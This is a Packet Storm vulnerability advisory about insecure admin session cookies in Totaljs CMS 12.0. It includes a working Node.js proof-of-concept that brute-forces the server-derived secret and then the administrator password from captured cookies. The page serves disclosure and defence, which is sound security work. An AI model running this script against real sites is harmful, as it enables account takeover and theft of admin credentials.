what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Totaljs CMS 12.0 Insecure Admin Session Cookie

Totaljs CMS 12.0 Insecure Admin Session Cookie
Posted Sep 3, 2019
Authored by Riccardo Krauter

Totaljs CMS version 12.0 mints an insecure cookie that can be used to crack the administrator password.

tags | exploit, insecure cookie handling
SHA-256 | 6df69239605e353638050aa0d99b6229a04afd43b2e3d8b39f3f681e5e2d1305

Totaljs CMS 12.0 Insecure Admin Session Cookie

Change Mirror Download
[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Insecure Admin Session cookie

[+] Affected software: Totaljs CMS 12.0

[+] Description:

A low privilege user can easily crack the owned cookie to obtain the
“random” values inside it. If this user can leak a session cookie owned
by another admin, then it’s possible to brute force it with O(n)=2n
instead of O(n)=n^x complexity and steal the admin password. In such way
he break the admin password.

[+] Step to reproduce:

In the file schemas/settings.js
we have that the value for the session cookie is equivalent as:

var key = (user.login + ':' + user.password + ':' + F.config.secret +
string_hash(user.login + ':' + user.password).hash()).md5();

where
Os = require(“os”);
F.config.secret = (Os.hostname()'-' + Os.platform() + '-' + Os.arch() +
'-' + Os.release() + '-' + Os.tmpdir());

and string_hash() is a custom function.

All of this Os variables are easily guessable or brute-forceable.
An attacker can enumerate the machine server with nmap scan to evaluate
the architecture behind (linux, windows...) in this way he escape the
randomness for Os.platform() parameter.
The Os.arch() parameter can be ‘x32’ or ‘x64’, then not so much random
in it.
The Os.release() can be easily listed because are common and public
(e.g. 4.15.0-45-generic), also it will be influenced from the recon of
the Os.platform() in such way if the attacker enumerated a linux machine
he can use a list of all linux version.
The Os.tmpdir() param is totally guessable. For example in linux systems
is /tmp by default.
The Os.hostname() is probably the more random parameter here but a
dictionary based attack can be efficacious to retrieve it.

[+] POC Script:

// cookie_brute.js

var Os = require('os');

var crypto = require('crypto');

var lineByLine = require('n-readlines');

function string_hash(s, convert) {

var hash = 0;

if (s.length === 0)

return convert ? '' : hash;

for (var i = 0, l = s.length; i < l; i++) {

var char = s.charCodeAt(i);

hash = ((hash << 5) - hash) + char;

hash |= 0;

}

//console.log(hash);

return hash;

}


`

schemas/settings.js: var key = (user.login + ':' + user.password + ':' +
F.config.secret + (user.login + ':' + user.password).hash()).md5();

`

//brute forcing the hostname

var liner2 = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var hostname;

owned_passwd = "paw";

var name = "paw";

user_cookie = "b5268788942f8c6057ce83aa98cef85e";

while (hostname = liner2.next()) {

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' +
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

var h = (name + ':' + owned_passwd + ':' + secret + string_hash(name +
':' + owned_passwd));

h = crypto.createHash('md5').update(h).digest("hex");

if(user_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":"
+ owned_passwd + ":" + hostname);

break;

}

}

//bruteforcing the password

admin_cookie = "d3316f9bd135906890fbc36d858304a5";

var liner = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var name = "admin";

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' +
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

while (password = liner.next()) {

var h = (name + ':' + password + ':' + secret + string_hash(name + ':' +
password));

h = crypto.createHash('md5').update(h).digest("hex");

if( admin_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":"
+ password + ":" + hostname);

return;

}

}

[+] Project link: https://github.com/totaljs/cms

[+] Original report and details:
https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf

[+] Timeline:

- 13/02/2019 -> reported the issue to the vendor

.... many ping here

- 18/06/2019 -> pinged the vendor last time

- 30/08/2019 -> reported to seclist



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close